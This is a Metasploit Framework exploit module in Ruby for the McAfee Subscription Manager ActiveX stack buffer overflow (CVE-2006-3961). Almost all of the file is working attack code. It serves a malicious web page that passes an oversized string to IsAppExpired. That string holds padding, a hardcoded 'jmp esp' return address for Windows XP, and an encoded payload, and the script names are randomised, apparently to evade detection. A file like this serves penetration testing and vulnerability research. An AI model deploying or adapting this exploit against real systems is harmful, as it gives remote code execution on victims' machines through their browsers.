##
# $Id: mcafee_mcsubmgr_vsprintf.rb 9669 2010-07-03 03:13:45Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'McAfee Subscription Manager Stack Buffer Overflow',
'Description' => %q{
This module exploits a flaw in the McAfee Subscription Manager ActiveX control.
Due to an unsafe use of vsprintf, it is possible to trigger a stack buffer overflow by
passing a large string to one of the COM-exposed routines, such as IsAppExpired.
This vulnerability was discovered by Karl Lynn of eEye.
},
'License' => MSF_LICENSE,
'Author' =>
[
'skape',
],
'Version' => '$Revision: 9669 $',
'References' =>
[
[ 'CVE', '2006-3961'],
[ 'OSVDB', '27698'],
[ 'BID', '19265'],
[ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'],
],
'Payload' =>
{
'Space' => 1014,
'MaxNops' => 0,
'BadChars' => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii,
'EncoderType' => Msf::Encoder::Type::NonUpperUtf8Safe,
'EncoderOptions' =>
{
'BufferOffset' => 0x8
}
},
'Targets' =>
[
# Target 0: Automatic
[
'Windows XP SP0/SP1',
{
'Platform' => 'win',
'Rets' =>
[
0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp
#0x773f346a # XP SP2 comctl32.dll: jmp esp
]
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Pick the right target
case request['User-Agent']
when /Windows NT 5.1/
ret = target['Rets'][0]
else
print_error("Unsupported target: #{request['User-Agent']}")
cli.send_response(create_response(404, 'File not found'))
return
end
# Build out our overflow buffer
buf =
rand_text(2972, payload_badchars) +
[ ret ].pack('V') +
"\x60" + # pusha
"\x6a" + rand_char + # push byte 0x1
"\x6a" + rand_char + # push byte 0x1
"\x6a" + rand_char + # push byte 0x1
"\x61" + # popa
p.encoded
# Generate random variable names
vname = rand_text_alpha(rand(100) + 1)
strname = rand_text_alpha(rand(100) + 1)
# Build out the message
content =
"<html>" +
"<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" +
"<script language='javascript'>\n" +
"var #{vname} = document.getElementById('#{vname}');\n" +
"var #{strname} = new String('#{buf}');\n" +
"#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" +
"</script>" +
"</html>"
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
